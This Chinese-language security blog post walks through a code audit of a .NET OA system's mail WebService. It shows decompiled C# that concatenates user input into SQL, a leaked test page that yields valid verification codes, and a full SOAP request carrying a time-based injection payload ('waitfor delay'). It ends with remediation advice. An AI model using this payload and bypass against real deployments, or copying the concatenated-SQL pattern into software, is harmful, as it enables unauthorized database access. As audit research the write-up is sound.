记一次靠猜的.net代码审计拿下目标
字数 1119 2025-08-05 12:50:18
.NET代码审计实战:从零开始发现SQL注入漏洞
0x00 前言
本文记录了一次针对.NET OA系统的代码审计过程,重点展示了如何在不熟悉.NET技术栈的情况下,通过系统性的分析和猜测,发现并验证了一个严重的SQL注入漏洞。本案例涉及的关键技术点包括:
- .NET应用程序结构分析
- DLL反编译技术
- WebService接口审计
- 动态验证码绕过
- SQL注入漏洞利用
0x01 .NET应用程序审计基础
1.1 .NET应用程序结构
.NET应用程序通常采用以下结构:
- 页面文件 (.aspx):前端展示层
- 代码文件 (.aspx.cs):后端逻辑(通常编译到DLL中)
- 程序集 (DLL):编译后的二进制文件,存储在bin目录下
1.2 代码定位方法
根据页面声明定位代码位置:
<%@ Page Language="C#" AutoEventWireup="true" CodeBehind="SSOExample.aspx.cs" Inherits="Richfit.Garnet.Web.SSOExample" %>
Inherits属性指示了代码所在的命名空间和类- 对应DLL文件路径:
bin/Richfit.Garnet.Web.dll
1.3 反编译工具
推荐使用ILSpy进行.NET DLL反编译,可直接拖拽DLL文件进行分析。
0x02 漏洞审计过程
2.1 目标接口分析
发现WebService接口:/mailserver/WebService/MailWebService.asmx
接口示例请求:
POST /mailserver/WebService/MailWebService.asmx HTTP/1.1
Host: xxx
Content-Type: text/xml; charset=utf-8
Content-Length: length
SOAPAction: "http://erpjx.com/MailWebService/RestoreEmail"
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<RestoreEmail xmlns="http://erpjx.com/MailWebService/">
<TimeStamp>string</TimeStamp>
<VerifyCode>string</VerifyCode>
<UserGuid>string</UserGuid>
<MailGuid>string</MailGuid>
</RestoreEmail>
</soap:Body>
</soap:Envelope>
2.2 代码审计关键点
反编译Mailserver.dll后,找到RestoreEmail方法:
public string RestoreEmail(string TimeStamp, string VerifyCode, string UserGuid, string MailGuid)
{
AjaxResultModel ajaxResultModel = new AjaxResultModel();
if (SystemSettingClass.IsValidRequest(TimeStamp, VerifyCode, ref ajaxResultModel))
{
using (SqlDataFactory sqlDataFactory = new SqlDataFactory(PublicSetting.RawDBHelper_ApplicationSetting_ConnectionStringKey, true))
{
ajaxResultModel.IsSuccess = sqlDataFactory.ExecuteSQLBool(string.Concat(new string[]
{
"update Inbox set Folder='",
0.ToString(),
"' where MailGuid='",
MailGuid,
"' and UserGuid='",
UserGuid,
"'"
}));
}
}
return Serializer.SerializeJSON<AjaxResultModel>(ajaxResultModel);
}
漏洞点分析:
- 直接拼接SQL语句,存在SQL注入风险
UserGuid和MailGuid参数直接拼接到SQL语句中- 需要绕过
IsValidRequest验证
2.3 验证码绕过分析
IsValidRequest方法实现:
public static bool IsValidRequest(string TimeStamp, string VerifyCode, ref AjaxResultModel AjaxResultObject)
{
bool flag = MD5.MD5Data(PublicSetting.MD5String + TimeStamp) == VerifyCode;
if (!flag)
{
AjaxResultObject.ErrorMsg = "无效的验证码,您无权访问此服务!";
}
return flag;
}
绕过方法:
发现测试页面/mailserver/Test/test.aspx泄露了验证码生成逻辑:
public class test : Page
{
protected void Page_Load(object sender, EventArgs e)
{
string text = "2971ABC5-AC17-455C-AC33-C91066707F9C";
string text2 = "王杨治";
string text3 = DateTime.Now.Ticks.ToString();
string text4 = MD5.MD5Data(PublicSetting.MD5String + text3);
base.Response.Write(string.Concat(new string[]
{
"ComposeInterface.aspx?TimeStamp=",
text3,
"&VerifyCode=",
text4,
"&SenderUserGuid=",
text,
"&SenderName=",
text2
}));
}
}
利用方式:
- 访问测试页面获取有效的
TimeStamp和VerifyCode - 使用获取的值构造恶意请求
2.4 SQL注入验证
构造恶意请求:
POST /mailserver/WebService/MailWebService.asmx HTTP/1.1
Host: xxx
Content-Type: text/xml; charset=utf-8
Content-Length: length
SOAPAction: "http://erpjx.com/MailWebService/RestoreEmail"
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<RestoreEmail xmlns="http://erpjx.com/MailWebService/">
<TimeStamp>637475525389254815</TimeStamp>
<VerifyCode>727de04ad204d7b00ed1a1ff66943456</VerifyCode>
<UserGuid>string';waitfor delay '0:0:5'--</UserGuid>
<MailGuid>string</MailGuid>
</RestoreEmail>
</soap:Body>
</soap:Envelope>
结果:成功触发5秒延迟,验证SQL注入存在。
0x03 修复建议
- 参数化查询:使用参数化查询替代字符串拼接
- 测试页面清理:删除或限制访问测试页面
- 验证机制加强:使用更安全的验证方式,如JWT
- 错误信息处理:避免泄露敏感信息
- 输入验证:对所有输入参数进行严格验证
0x04 总结
本案例展示了如何通过以下步骤进行.NET应用程序审计:
- 分析应用程序结构,定位关键DLL
- 使用反编译工具分析业务逻辑
- 识别危险函数和代码模式
- 寻找验证绕过方法
- 构造PoC验证漏洞
即使不熟悉.NET技术栈,通过系统性的分析和合理猜测,也能有效发现安全漏洞。